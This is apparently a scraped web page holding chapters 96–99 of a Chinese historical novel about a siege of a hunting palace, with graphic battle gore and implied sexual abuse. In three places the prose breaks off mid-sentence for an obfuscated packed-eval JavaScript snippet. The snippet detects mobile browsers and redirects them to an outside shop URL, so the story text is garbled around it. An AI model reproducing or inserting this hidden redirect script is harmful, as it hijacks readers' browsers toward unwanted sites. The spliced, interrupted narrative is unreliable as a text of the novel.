萧雷愣住,没料到康王居然会如此一问。李鹤霖微微蹙眉,想说什么却被章麓打断:“我可以试试。” “你?”李谨焕这回是真的惊讶了:“你这弱柳扶风的,能攀悬崖?” 章麓没理他,而是冲李鹤霖一拱手:“王爷,臣女斗胆一试。” “章姑娘,我们一群男人在这儿,哪儿有让您去的道理!” “就是,就是!” “王爷,卑职斗胆一试!” “王爷,卑职也愿试他一试!” 墨云骑众部将纷纷站了出来,金吾卫副将一看,便悄默默凑到李谨焕身边,想要问问他的意思,却见对方正对着新安县主出神,突然就不知道怎么开口了。 李鹤霖没有理他的属下,而是神色认真的看着面前矮自己一头的少女,问:“你可知军中无戏言?” “章家世代皆是兵,自是知道。”章麓直视着李鹤霖,眼神中透着十足的坚定:“以王爷的能力,强攻未必不能破,但破城之后又能留的几人?为了陛下,也为这数千士卒的性命,没有把握我不会去尝试。毕竟,一旦失败,耽误的不仅是你,还有这大梁江山。” 李鹤霖的喉结上下滚动,心若擂鼓,他一把抱住眼前的姑娘,在她耳边沉声说道:“我等你回来。” “搞得这么悲壮做什么。”章麓面上带着笑,眼眶泛起湖波。 李鹤霖松开她,冲身后的将士们说到:“她要什么给什么,不得违抗!” “遵命!” 李谨焕也站了出来,拱手道:“章姑娘,金吾卫所有人皆任您差遣。” “多谢!” 城垛口,常波见护墙后的人回了一半,便命令大家休整。近侍阿古弥递给他一方温热的湿帕子,说:“将军累了,小院那边做好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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算命的并没有说错,她是泰安帝的妹妹,虽说是同父异母,太后不喜,自幼养在清河大长公主身边,与泰安帝和卫王都不亲厚,后又为了襄助泰安帝大业,被太后送给了常波,但泰安帝上位后,也安例将她册封了长公主,有封地有食邑。 可是,她早已成了折翅的笼中雀,飞不出去了。 “将军回来了。”侍女站在温泉屋外,敲门说到。 “请他进来。” 常波刚想推门,就看见自己身上沾满硝烟味的盔甲,想到李芮敏那干净到病态的性子,直接当着侍女的面将铠甲全都脱了,只留褐色的中衣。 两个侍女垂眸低头,往后退了三步。 铠甲砸在地上的叮当声传入屋内,李芮敏身着纱衣浸泡在浴池里,她轻轻睁开双眼,道:“将军不必如此讲究,如今形势严峻,这点分寸我还是懂得。” 常波心中一动,成婚五年,倒没见过她如此好说话过。一开始常波也想讨好于她,毕竟李芮敏继承了她母亲的美貌,堪称国色天香也不为过。盈盈眉眼,纤弱腰肢,一舞飞天魅惑至极,柔韧性又好得出奇,非常合他的胃口。可惜台上是个妖女,台下就是个冰美人,不管如何讨好都不动声色,哪怕在这白如雪莲的身体上飞驰,都只能获得一张冰冷平静的脸,令他极为扫兴。再加上她强势的性格,常波很快就对她失去了兴趣。 今日不知是怎么了,居然如此好声好气,这让常波不由的想起第一次看她跳舞时的情景,升起的热浪顿时烧的更旺了。 他疾步迈过门槛,随意的将鞋袜一抛,‘噗通’一声跳入温泉池,一把将池水中的美人揽入怀中。 门外侍女听见里面的动静,悄悄退了出去,两人四处看了看,关闭了正院的门。 其中一人褪去长长裙摆,露出里面利落的短衣长裤,极快的从正院西南角的竹林处翻墙而出,丝毫不见之前的羸弱姿态。 97. 第 97 章 章麓将横刀和绳索挂在腰后,翻身上马:“我和萧雷带一对人马先去望崖下面勘察一下地形,陶言兄弟二人带另一队去望崖边西边的林子里待命。辛苦王爷在此地吸引火力,待我成功翻过望崖,会放信哨。” “万事小心。”李鹤霖握着缰绳,神情纠结复杂,他手中握着女子的发簪,仰头看着卸掉钗环,一身素衣的女子,道:“实在不行就退回来,墨云骑也不是吃素的,强攻定能破城。” “王爷说的是。”萧雷将长弓背在身后,坦然道:“造反也好,清君侧也好都是在抢时间,反正都是死,倒不如死得痛快些!” “说什么丧气话。”章麓将缰绳从李鹤霖手中夺来,扬声道:“只要爬上去,兄弟们就不必死!我们要让围城里那群人看看,谁才是真正的英雄!” 铿锵铁甲,咴咴马鸣,飞沙四野。 李谨焕看着章麓领着人马远走,来到李鹤霖身旁问道:“皇兄竟舍得所爱之人去冒险?” “我舍不得。”李鹤霖道:“但她想飞,我便不能折了她的翅膀。” 闻言,李谨焕愣了愣,不知怎得突然为自己感到了一丝悲哀。 猎宫外围尽是山林,这给了章麓一行人很好的隐蔽条件。为了防止惊飞的鸟群给箭楼上的人提醒,他们骑马在望崖四周绕了好几圈。 待林中惊鸟飞起,章麓才领着人到望崖下。她单独带着萧雷和陶氏兄弟走到被堵住的羊肠小道前。嶙峋的山石有明显的开凿痕迹,应当是就近开采山石砌死了这条路。 “妈的,砌个墙还砌这么高,就是不想让人过啊。”陶言一寸寸审视着附近的山体和眼前的石墙,嘴里念念有词:“这马钉太短了,怕是不好钉进去。” 陶言兄弟俩是周其余的工兵营里,对于地理最有研究的人。他们以前是在柳州当兵,常常做横跨悬崖造铁锁桥的活计。二十一岁时因着逃荒去了河州,后来姻缘巧合随着周其余成为了墨云骑的一员。 不过,无论是墨云骑还是金吾卫,都是为找章麓才出的猎宫,除了悬索用的马钉,并没有其他的攀岩工具。已经三十岁的陶言叹了口气,颇有些巧妇难为无米之炊的感慨。 “不过,也不是完全不行。”陶言昂起头道:“没什么能难得倒我们两兄弟。” 章麓鬓边的碎发被风扬得飞舞,她眸色深沉:“石头松动吃不上力,还有盘山风,远比我们想象中的要危险。” 金鼓号角声响起,冲锋又开始了。 “先回去。”章麓翻身上马,在遮天蔽日的树木的掩护下,回到了丛林之中,与其他人汇合。 林子里安静极了,所有兵士都倚靠在树边轻微喘息。 见章麓他们回来,其他兄弟纷纷站了起来,围过来询问情况。 “怎么样?” “有把握吗?” 章麓跳下马,说道:“没传言中那么高,也就十七八丈,但石缝松动,不好打钉但也形成了不少天然的落脚点。” 陶言点头道:“我们时间有限,等全部铁钉打入建个登天梯就来不及了,我的想法是,咱们兵分两路,齐头并进,边钉钉边攀岩。我们兄弟二人各开一条路,再找俩善于攀爬的人跟在我俩后面,待爬上去之后,再放下绳索,后面的人就容易多了。” “不行,这太危险了!” 陶言道:“那就没法子了!除非有‘徒山挂’,但这些东西可都在猎宫里没带出来,就算想先做也来不及,材料也不够啊!” 章麓垂眸道:“按你们说的做,我和萧雷跟在你们后面。” “县主不能去!让我和罗高去!”萧雷一把拉过自己的副将,对方是个眼神坚毅的黑瘦小伙子,站在一旁附和着萧雷的话。 但章麓依旧坚持,她昂起头对萧雷露出一个笑容,道:“你知道,当年我是如何从固若金汤的北宁关,将布防图偷出来的吗?” 周围的目光都落在了章麓的身上,只听得风中送来了章麓的清脆的声音:“北宁关的城墙有十五丈那么高,我只凭着钩锁硬生生爬上去的。十二岁的我能做到,如今亦然,我比你活下来的可能更大。” 众人无言,他们都守过城,知道爬城墙的难度有多大。仅凭钩锁于夜色中爬上城墙,那要多大的毅力与坚持,中间要受多少伤流多少血,有多大的运气才能达成。 他们之中没人这么做过,但却想象得到。 于是,方案就这么定了下来。 陶言兄弟脱了外衣,只着短打长裤,将牛皮袋背在胸前,里面装满了马钉,左手提绳右手拎锤,一身绷紧的肌肉,紧贴着石墙和峭壁的夹角,手脚并用的攀登了上去。 章麓将绳索的一端系在峭壁脚下的粗大树木上,以防悬索的时候被盘山风吹跑。她仰头看去,陶言兄弟已经攀登到了三丈高的地方,将绳索捆在了一块伸出来的石头上,开始“叮叮叮”的钉起了马钉。 因为马钉比登山钉要短一截,为了稳固,漏出来的部分就很短,只能保证脚尖落在上面。 “娘的,看得我双眼发黑!”跟在萧雷身后的一个金吾卫咕哝着:“反正谁当皇帝咱们都是金吾卫,干甚要如此拼命?” 隔壁的另一个金吾卫流着汗,小心翼翼的向上攀着,闻言闭了闭眼,稳住气息边爬边说:“想得挺美,金吾卫早就是康王亲兵了,咱们老大是程世子,若是让靖国公当了皇帝,第一个拿程家开刀,到时候你以为你还能安稳的待在金吾卫?就算不被拆解去边关,也得被散出去当府兵,怎么着都比不得现在。” “说得也是。” 汗水刚刚从毛孔里出来就被山风卷了个干净,脸颊就像被刀刮过一般,身上被锐利的山石划出一道道口子,有些深的口子都被细沙碎石填的鼓鼓囊囊,疼得麻木了。为了减轻负重,他们没有带水和干粮,章麓往下看了看,一望无际的嶙峋,已经看不见路在哪里。仰起头,陶言还在坚持不懈的钉马钉,阳光从已经从头顶移到了背后,他们已经没有多少时间了。 “遭了!”不知是谁说了这么一句,一阵碎石滑落的声音,章麓低下头,只来得及看见一个人形如破布一般坠了下去。 “砰——”重重的砸在了地面上。 章麓闭了闭眼,汗水流进了眼睛里,蛰得酸疼,她缓了好一会儿,才睁开眼睛,继续往上爬。 还没来得及攀岩的士兵,眼睁睁的看着流出的血液,白色的脑浆,扭曲的骨骼。这是昨晚还一起把酒言欢的兄弟,但现在,他甚至连他的半边脑袋去了哪里都不知道。 望崖,亡崖。 当夕阳浸透云彩,陶言兄弟终于攀住了最后一块石头,匍匐在了崖顶。 章麓扯下半截袖子困在一根粗壮的树枝上,用火折子点燃之后丢下了山崖。 飞速坠落的火光告诉了远在南边的李鹤霖,他们成功了! 萧雷将水壶递过来,说:“里面有酒,别感染。” 章麓的目光落在他血迹斑斑的手上,摇了摇头:“先给陶氏兄弟,他们伤的更厉害。” 坐在地上的陶言抬起了疲惫的头颅,诚惶诚恐的说:“不用,我们都是糙汉子,这点伤不算什么。” “让你洗就洗。”章麓扭过头看了他一眼:“你们俩在这里等着后面的人上来,我先去探探路。” 这一回,萧雷没再阻拦,他算是看出来了,这位新安县主不是他以往见过的任何一类女子。 他们以前跟着淳王在边关的时候,也遇到过武将家的女儿,也是各个英姿飒爽,可谁都比不上眼前这位。那些人都还带着小女儿的娇羞与柔情,面对王爷时一个个的都忍不住脸红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186404|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,王爷被围的消息传来时,一个个都指望着父兄前去营救,却从没想过自己领兵驰援。或许她们也想过吧,却没有那个本事。 章麓抽出长刀,劈开交错纵横的枝丫,不一会儿便看见了两人高的城墙。这一道已经是青砖墙,一路连接到了山体上,附近没有岗哨,最近的也在五丈之外。 悄悄贴近墙根之后,能听到另一边传来的脚步声,整齐划一像是在巡逻,其中还夹杂着欢笑声和女子的尖叫声。 章麓冷呵一声,悄无声息的退了回去。 王罗海骂骂咧咧的从竹林中走了出来,坐在地上的哨兵抬眼看了他一下,嬉皮笑脸到:“王校尉,这是怎么了?里面的妞不可口?” “呸!”王罗海黑着脸骂到:“什么时候了,还想着玩女人,他妈的,一群畜生!” “嗨,王校尉何必如此苛责,反正这猎宫都被咱们给控制住了,他们想玩就玩呗。自从那狗皇帝登了基,就对咱们这群府兵管的甚严,玩个女人都要被砍头,兄弟们早就憋疯了。听说,里面有雍贵妃身边的人?传言雍贵妃神仙容貌,她身边的人肯定也不赖,嘿嘿。”哨兵无所谓的躺倒在草地上,嘴里叼着一根草,享受着夕阳的青睐。 王罗海哼笑着踹了他一脚,问:“那你他娘的咋不去?” “咱有老婆有孩子,肯定不干这畜生事儿啊。咱都想好了,等这事儿过去,就带着赏赐回老家去,盖个砖瓦房,再生一窝胖娃娃,守着家里的地过安生日子。这天下好不容易统一了,再也不用担心战乱,不用担心过路的土匪打劫,可得好好享受享受平静的日子。” 哨兵眯着眼,畅想着未来的幸福生活,说着说着,他突然弹腾起身,道:“正好将军不在,咱们再宰头羊吧?那羊圈里的虽然没有山里的有嚼头,但胜在油多啊,与其在这里给他们这群人放哨,不如好好吃一顿。” 王罗海笑着“呸”了一声,嘴上骂着小.畜.生.贪吃早晚出事,但心里却欣然同意了这个提议,然后像拎小鸡仔一样拎着哨兵飞快的往羊圈走去。 林子里的欢笑和尖叫声扔在继续,一个小兵嬉笑着抓着一个少女的脚踝,想要将人拉过来时,笑声像被突然卡住似的戛然而止。 “嗖嗖嗖——”数十只利箭如暗夜幽魂一般精准的射穿了林子里每一个兵将的喉咙,原本还在尖叫的少女们犹如被掐住脖颈的小鸡,没了生息,只剩一双双瞪圆的双眼惊恐的看着翻墙而下的众人。 章麓走到她们身边,低声道:“你们在这里不许动,待明日一早自会有人送你们离开。但若敢有人不听劝告离开这里,或者发出声音,别怪我心狠。” 衣不蔽体的宫女们飞快的点头,聚在一起互相遮挡。 萧雷给手下的人打了个手势,小队的人飞快出了林子。 待所有人离开,少女们面面相觑了半晌后,突然如饿狼扑食一般扒光了地上已死兵将的衣服,裹在了自己身上,将哭声都憋在胸腔里,泄愤般的拿石头砸向他们,砸得血肉模糊,碎肉飞溅。 两个小队的士兵如黄蜂一般迅速四散,悄无声息的搜索每一处角落。 “县主,羊圈有两个人,一个小队长,一个哨兵,据他们说,常波被他府上的人叫走了,不在城墙上。” “扒光绑了,生死看天。” “是。” 章麓带着人顺着岗哨一路朝南摸到下一个岗哨近前,两队共八十七名士兵,如灵猫一般翻过栅栏,四十三把锋利的横刀、四十五张满弦的大弓,在如血的夕阳中张开了他们锋利的獠牙。 李鹤霖骑在马上,握着长枪的手微微出汗,他的目光一刻都没有离开望崖的方向,直到一个如丧钟般的火光,在入夜的前一刻于望崖边垂直而下。 李鹤霖的长枪直指眼前的城门:“杀——” 98. 第 98 章 “大人!西营房被烧了!”一个哨兵惊慌失措的闯进了王显的屋子。 王显大吼一声,砸碎了手中的酒坛子,一把抓住哨兵的头发将人拉起来,怒斥到:“不可能!西营房建在望崖下面,他们怎么可能爬上望崖!”他顿了一下,眼神凶狠的盯着哨兵,沉声问:“常大人呢?” “常常大人……常大人回行宫了。” “没出来?” “不……不知道,行宫在望崖,那边都烧起来了,没人敢去啊!” 王显一把甩开哨兵,穿好盔甲:“让林前带人去望崖,其他人随我去城门。” 一路杀到城门口的章麓双手持刀砍翻眼前的敌人,嘶吼道:“开门!快开门!那把火撑不了太久!”站在城墙上的萧雷踩着城垛,箭矢不断的从手中发出,掩护着弟兄往大门处行进。 “艹!”身边的兄弟被一箭穿喉,无力的像城墙下倒去。萧雷伸手想要抓住他,却连肩膀上的两簇箭羽的尾巴都没摸到。 八十多位勇士集结在一起,如凶猛的黄蜂一般涌向城门,不断的有人倒下,后面的人继续行进。一层一层又一层,就像割不尽的野草。 王显赶到时,墨云骑的人已经摸到了城门。他气急败坏的收拢混乱的队伍,高举长刀怒吼道:“给我冲!杀光他们!” 常波的府卫在王显的指挥下开始集结,他们从云梯登上了外墙,但外墙的甬道狭窄,只够两个人并肩而立。此刻金吾卫的人拼了命阻挡,他们毫不留情的将箭矢当做匕首,捅进了敌人的肚子,有人抽出了长刀,挥舞着,削掉了对方的头颅、胳膊,剖开了对方的胸甲、肚皮。 偌大的大门被逐渐打开,章麓站在大门内侧,手中的横刀已经看不清原本的颜色,右手虎口裂开一个深深的口子,混着敌人的鲜血,温热、滑腻。 “呜——”营地方向传来悠长的号角声,王显面色一喜,手中沉重的长刀挥舞的更加迅速,他大喊道:“营地已经被我们拿下!谁杀了淳王!赏千户侯!” 正杀得昏天黑地的章麓心中一凛,手中的刀却比之前更快。 护在她身侧的陶言砍翻面前的敌人,冲章麓喊到:“这样不行,他们人太多了,门已经开了,您先走!” “走个屁!”章麓的横刀狠狠切开敌人的胸甲,穿透对方的胸膛,右手的横刀被侧身一个小兵击飞。左手的横刀深深插进敌人的盾牌,顶住对方想要前进的脚步,右手抓住击飞她横刀,现在想要捅穿她脑袋的长矛,一脚踹翻身侧的人,将长矛拔了过来。身体后仰猛的向前一掷,直接刺穿了王显的战马。 而另一侧,一柄长刀落了下来,陶言横刀挡住对方,一柄刀都朝他腹部刺来。章麓一脚踹飞抱盾的敌军,将刀拔了出来,眼疾手快的帮陶言挡住了下腹的刀。章麓将那只持刀的手砍飞,用‘凌云步法’顺势将飞起的刀接住,然后如同掷匕首一般将架在两刀中的第三把刀掷出,飞舞的刀光和四溅的鲜血,照应着一张张扭曲惊恐的脸。 “三刀流……”陶言惊诧的瞪大了双眼,眸中的兴奋越来越大。 王显从地上爬起,一双眼因为愤怒学满了血丝,变得猩红无比。手中的大刀不分敌我的一通乱砍,毫无阻碍的一路直逼章麓近前。 “给老子抓住这个臭娘们!” “县主!”陶言捅穿阻拦的敌人,一路杀到章麓身前,王显的大砍刀也在此刻落了下来。陶言下意识用手中的刀阻挡,却被惊人的力量劈裂了虎口。 一个躺在地上的敌人突然死命保住章麓的腿,张口狠狠咬了下去,章麓一刀插穿他的脑袋,奋力踢腿却无法挣脱对方的束缚。 陶言拼命抵抗王显压下来的力量,脸色充血涨红,突然感觉腿部一麻,他下意识低头看了一眼,只看见被齐膝砍断的右腿,身体一歪,森森白骨戳入地面,一股钻心的疼痛令他大叫了起来。 “陶言!”章麓一个大跨步想要奔过去,却被三四个敌军抓住,她砍翻一个的同时,王显的大刀划过一道弧线,陶言的上半身随即飞起,直直落入了打开的城门前。 “来!我要你不得好死!来啊!”章麓的刀光毫不留情的划开周身之人的脖颈,鲜血洒满她的脸颊,她一刀刀劈向向她走来的王显,却被轻松当回。 这个力道,能跟章引玉媲美了,章麓心想。 王显的力道太过刚猛霸道,‘哐哐哐’三刀落下,章麓便有些捉襟见肘。后退数步之后,章麓已明显只有招架之功,却毫无还手之力。 见章麓持刀的手开始颤抖,王显狰狞一笑,想要给予最后一刀,那沉重的砍刀被高高举起,血液一滴滴的从上面滴落。 “呃——”笑声戛然而止。 一柄银枪如利剑一般刺穿了王显的脖颈,那摇摇欲坠的头颅伴随着长溅的血液,砰的落地。 王鹤霖骑着战马飞驰而至,一手拎着章麓的腰带将人甩到马上,一手拔出长枪,将王显的尸首挑飞丢入敌军的人群里。 章麓还没来得及感受被腰带勒住肚子的痛苦,就被人抱在了胸前,坐在了马上。抬头的一瞬间,只见门外飞来无数长枪,以排山倒海之势将拥挤在门洞里的敌军全部射穿! 李谨焕带着众人呐喊着冲进城门,如狂风呼啸而过:“投降不杀——” “降者不杀!”山呼海啸般的呐喊随即而至。 两万府卫已成为待宰羔羊。 常波心满意足的从李芮敏身上起来,得意的看着他的‘杰作’。自成为驸马以来,他从未如此爽快过,就算是大梁的公主、泰安帝的妹妹又如何?为了活命还不是要讨好他,任他施为。 “将军!将军!”阿古弥惊恐万分的闯进院子,以往被他垂涎的李芮敏此刻却丝毫入不了他震颤的眼眸,眼中只有笑容满面的常波:“淳王攻进来了!守城的五千兵士全军覆没,王将军战死,没人指挥都乱套了,他们快打到营地了。” “什么!”常波从水中站起身,水滴描绘着他的肌肉纹路。他来不及穿里衣,就直接披上了铠甲,提上了武器,带着阿古弥急吼吼的往外奔。 待他们离开后,侍女才端着茶水和药瓶走了进来。她看着公主,雪白的肌肤上布满被掐出来的青紫印记,还有十几道鞭痕,心疼的无以复加。 她将公主从水池中浮上来,递给她一杯茶:“公主快润润嗓子。” “张大人那边可有回信?” “人都放出来了,令牌也给了贤王世孙。” “那就好。” “不过,雍贵妃不知被何人挑断了手脚筋,还划花了脸,西洲侯那边甚是恼怒,张锦大人怕是会被迁怒。” 李芮敏问:“见到慕容九了吗?” 侍女摇头。 李芮敏抚摸着茶杯:“那就是了,慕容九怎么会放过这么一个为家人报仇的机会?不杀她,还是看在张大人的面子上,不想给他惹太多麻烦。” 侍女心疼的用棉布轻轻将公主身上的水珠擦干:“公主,我先给您上药。” 李芮敏轻轻摇头,哑着嗓子说道:“不必,这些我都要让皇兄亲眼瞧瞧。他要求的事我办到了,我想要的他也该一一兑现。” “公主!”侍女一惊,正要劝解,就被李芮敏打断。 “这皇城就是座牢笼,我还是更喜欢老家的山水风光,我不想要这荣华富贵了,我想要自由。”李芮敏透过墙壁上的透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191411|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气窗看着外面的蓝橘分界明显的天空,露出了淡淡的微笑。 窗外一道折枝的声音响过,影子慢慢爬上了窗棱。 “该走了。”‘影子’说。 李芮敏顿了顿,她看向侍女,问到:“你若是有想去的地方便告诉我,在我‘薨’之前,定会为你办到。” 侍女摇头:“公主待我和若兰如亲姐妹,更何况,当年我与若兰走入歧路,若不是公主心善救下我们二人,只怕命早就没了。什么‘神偷’什么‘侠盗’,在生命面前,都只是笑话罢了。我与若兰定会一直跟随公主,公主想回故乡去,我们就一起回去。” “当年……当年若不是受慕容九的母亲所托,或许我也不会收留你们,毕竟我自身难保。”李芮敏望着那道影子,“不过,这样也好,这皇城就是个吃人不吐骨头的地方,也没什么好留恋的。” 李芮敏从水中站起身,在侍女的搀扶下踏出池子:“走吧,接我们的人来了。” 窗外,慕容九依靠着窗棂站着,手中还有一根被折断的枯枝。 * 常波竭尽全力鼓舞自己的士兵,但还是抵不过淳王势如破竹的挺近。 将近一半的府兵选择了投降,放下了自己的武器。他们还有孩子、妻子、父母,不想在内战中牺牲自己的性命。 四千墨云骑、两千金吾卫,兵分两路包围了常波的军团。墨云骑与骑兵猛然碰撞,发出山呼海啸一般的怒吼。金吾卫拉满弓弦,将步兵和落地还未爬起的骑兵一一射杀。 今日的墨云骑虽身披轻甲,手持长枪,战斗力却一点都不逊色于身负重甲、手持陌刀的时候。 叛军阵营内,无数的骑兵跌下马去,数不尽的步兵痛苦呻吟。 当太阳彻底沉入地面之后,常波已经开始后撤。就算淳王攻破了外城墙又如何?朝臣都被义父控制住,等他退回到营地内,难不成淳王能不顾朝臣、不顾皇后? 可惜,一切注定要让常波失望。 内城猎宫外的营地内,厮杀震天。 “关上城门!快关上城门!”崔环狼狈逃窜进内城的猎宫,不顾形象的尖叫着指挥着。 “不行!主子还没进来!”靖国公府的管家极力阻止着,却被崔环一把推开。 “他进不来了!马景川要杀他,他活不了!我可不要陪他死!”崔环状如疯癫的挥舞着手臂,命令翊卫关门。 今日的郁结之气全部化为杀气,在马景川拿到羽林卫和千牛卫的指挥权起,就注定了如今的结果。 风车般飞旋的长刀劈开了胆敢阻拦他的所有人,忠心耿耿的死士拼死保护靖国公却无济于事。 李谨渊被斩断的右臂已经包扎好,面无血色的他被皇后护在身后,刘贤带领着龙鳞卫密不透风的保护着虚弱的泰安帝,徐太医战战兢兢的扶着泰安帝随着龙鳞卫的脚步一点点挪动。 马景川挥舞着长刀,砍向所有敢于对抗他的人,最终也劈向了被李谨渊捅穿腰部的靖国公。 “别让他死!咳咳咳!”泰安帝用尽全力的制止住马景川的动作,龙鳞卫眼疾手快的将身负重伤的靖国公拉开,并迅速捆了起来丢给徐太医。 “快快快!关城门!他要进来了啊!不要管别人了!”崔环披头散发的跑到机关处,拼命推动着闸门的机关。“轰隆隆——”千斤闸落下前,他看到了被马景川提着刀向他奔来。 闸门下是无数哭嚎挣扎的残肢断臂,千斤重的宫门挡得住反抗的士兵,却挡不住震天的杀生和凄惨的哀嚎。 无数跟随崔环、靖国公造反的翊卫、后卫、屯卫都露出了迷茫的眼神,崔环则在门后颓然的滑倒在地,完了,全都完了。 99. 第 99 章 整个营地,血迹斑斑,尸横遍野。 李鹤霖带着人到达时,看到的就是这样一副景象。 马景川指挥着士兵将所有尸体都分开,能辨别的都用白布写下名字系在手臂上。他听到马蹄声抬眼看去,发现是淳王时,大喜过望。 “表哥!”马景川两步跑过去,刚想说什么,就发现李鹤霖怀中抱着的章麓,方才远远看着还以为是个瘦弱的男子呢,没想到是未来表嫂! 下一瞬间,他就被章麓身上的伤痕和血迹给竟到了,惊叫道:“表嫂这是怎么了?” “身上有伤,你替我将她送去虞庆侯的营帐。”李鹤霖翻身下马,将章麓抱了下来交给马景川,又问:“父皇母后可好?” “好,都好,活着呢!”马景川傻呆呆的回道。 “我先去见他们。”李鹤霖看着章麓欲言又止:“我……” “我没事,你去吧。”章麓跳下马,安抚的看着他,没有一丝怨怼之情。 李鹤霖心中愧疚,但最终还是看望父皇母后的心情占据了上风,头也不回的快步离开了。 留下马景川看了看离去的表哥,又看了看伤痕累累的章麓,咽了咽口水,找补道:“表嫂,我表哥就这样,风风火火的,太耿直,你放心,等会儿我就好好说到说到他!不能有了爹娘就不要媳妇儿,哎,不对,是不能有了媳妇儿就……哎,怎么说的来着?” 章麓噗嗤一声笑了出来:“你放心,我不会多想,也没有闺阁小女孩儿的婉转心肠。劳烦世孙命人去将我的侍女找来,此处人多眼杂,若由你亲自送我回去,恐会生出流言。” “啊,你说的对。”马景川四处看了一眼,叫住一个面熟的小兵,让他去给虞庆侯夫人传话。 章麓看着宛若废墟的营地,问道:“这里到底发生了什么?是靖国公宫变吗?” 马景川将遍地伤亡收入眼中,神色肃穆的将来龙去脉讲了一遍,用复杂的口吻提到了张锦:“张大人闹那一场,也不知是真疯还是假疯。他离开之后,也不知道是如何放出了被困的羽林卫和千牛卫。当时的情况,太后差点就带人杀进去了,要不是浏阳长公主的侍女拿着清河大长公主,啊乡宁郡主的令牌闯了进来,带着被放出来的羽林卫和千牛卫,还将两卫的虎符交给了我,我想,现在早已江山易主了吧。我真的是不明白,虎毒还不食子,太后为何要这样做?” 章麓凌乱的发丝被风微微吹起,她看着马景川手中浸满鲜血的虎符,问道:“那名侍女呢?” 马景川垂眸,神色哀伤:“死了,她闯进来的时候,被太后下令射杀。十三只箭,被扎成了刺猬一样。” 他抬起自己的手,道:“我到她近前的时候已经太晚了,我救不了她。” 章麓看着马景川,不知该用一颗早已看透尘世的心去安慰对方,只能老套的说道:“不是你的错。” 马景川心中郁结。 章麓:“你可有见到西洲侯的属下?” 马景川摇了摇头:“估摸着是被控制起来了吧。”他四下看了看,凑近低声道,“雍贵妃被人挑断了手脚筋还毁了容,那几个属下护主不力,回去八成也是个死。” 章麓若有所思的点了点头。 * 另一边的皇帐里,坐在椅子上的泰安帝喜不自胜的纵情长笑:“哈哈哈!好个章麓!好个通天的本事!咳咳咳……” “父皇!”李谨焕担心道。 泰安帝面色苍白的拜了拜手,说道:“无妨,朕且能活着呢!” 刚刚包扎完伤口的李鹤霖垂首立在一旁,没有说话,虽然打了胜仗,但死了太多的兄弟。墨云骑四千多人,留下不足两千,尤其是陶言战陨,他们两兄弟和周其余是跟他最久的人,深深的悲痛令他高兴不起来。 断了右臂的李谨渊看着神色不好的三皇兄,再看看一心扑在泰安帝身上、口若悬河将外城之战描述得天花乱坠的李谨焕,心情复杂。 “来人!赐酒!”泰安帝笑呵呵的说道。 清澈的梨花春被端了上来,李鹤霖接过酒杯,低头看着里面如同清波般的澄澈酒水,似乎看到了那一个个在西北纵马换歌的笑脸。 梨花春,愁断肠。 千杯酒,解思量。 世间事,皆无常。 为情伤,笑沧桑。 万行泪,化寒窗。 有聚有散,有得有失。 一首梨花辞,几多伤离别。 (《梨花辞》陈亮) “当真是虎父无犬女,新安县主真可谓是神兵天降。儿臣去望崖看过,那足足有二十丈高,她一马当先攀了上去,真真是让儿臣佩服极了!”李谨焕夸张的描述着当时的场景,仿若自己亲身经历一般:“若不是新安县主拼命打开了城门,儿臣与皇兄怕是再也见不到父皇了!新安县主立此奇功,父皇当好好赏赐才是!” 李谨焕讨好道:“这是自然!待回到京城,自是要论功行赏!” “陛下!”满头大汗的虞庆侯在帐外遥遥行礼:“攻城器械已经准备好,请陛下前去观战。” 泰安帝笑到:“禄之这是被小辈抢了风头,急不可耐的想要露一手啊!” 虞庆侯也笑出了声,道:“臣早就老了,将来自是小一辈来做天下的脊梁,贤王世孙勇猛无敌,决策果断,臣是心服口服!” “好!那就让大家见识见识,虞庆军这火石是如何的厉害吧!” 火石?李谨焕怔愣了一下,这火石是何物? 一行人出了皇帐,走到猎宫城墙外,只见两台雄壮的重型投石机立在宫城之外。不过,刚刚经历一场宫变的众人,相比好奇虞庆侯正在指挥士兵摆放的黑石头是什么,他们更惊诧于这两台投石机是如何悄无声息的运抵猎宫的? 而猎宫内,逃进猎宫的安国侯被靖国公的管家捅了个对穿,他不可置信的瞪大双眼,看着面色阴狠的中年男人,不甘心的倒在了血泊里。 管家眼神阴森的扫视犹豫不定的众人,说道:“太后如今都自身难保了,你们还想为了他丢了自己的命?与其替你们的主子报仇,不如赶紧拿点金银财宝逃出去。光明殿有条地道,可以直通猎宫之外。话已至此,怎么选你们自己看。” 周围的人面面相觑,一息之后,四散开来。 “看!那是什么!”不知道是谁喊了一句,众人皆往头上看,只见数十个黑色圆球朝他们飞了过来。 “是火石!”管家反应迅速,他贴着墙根,一路观察落点,避开所有火石冲入了倒座房。 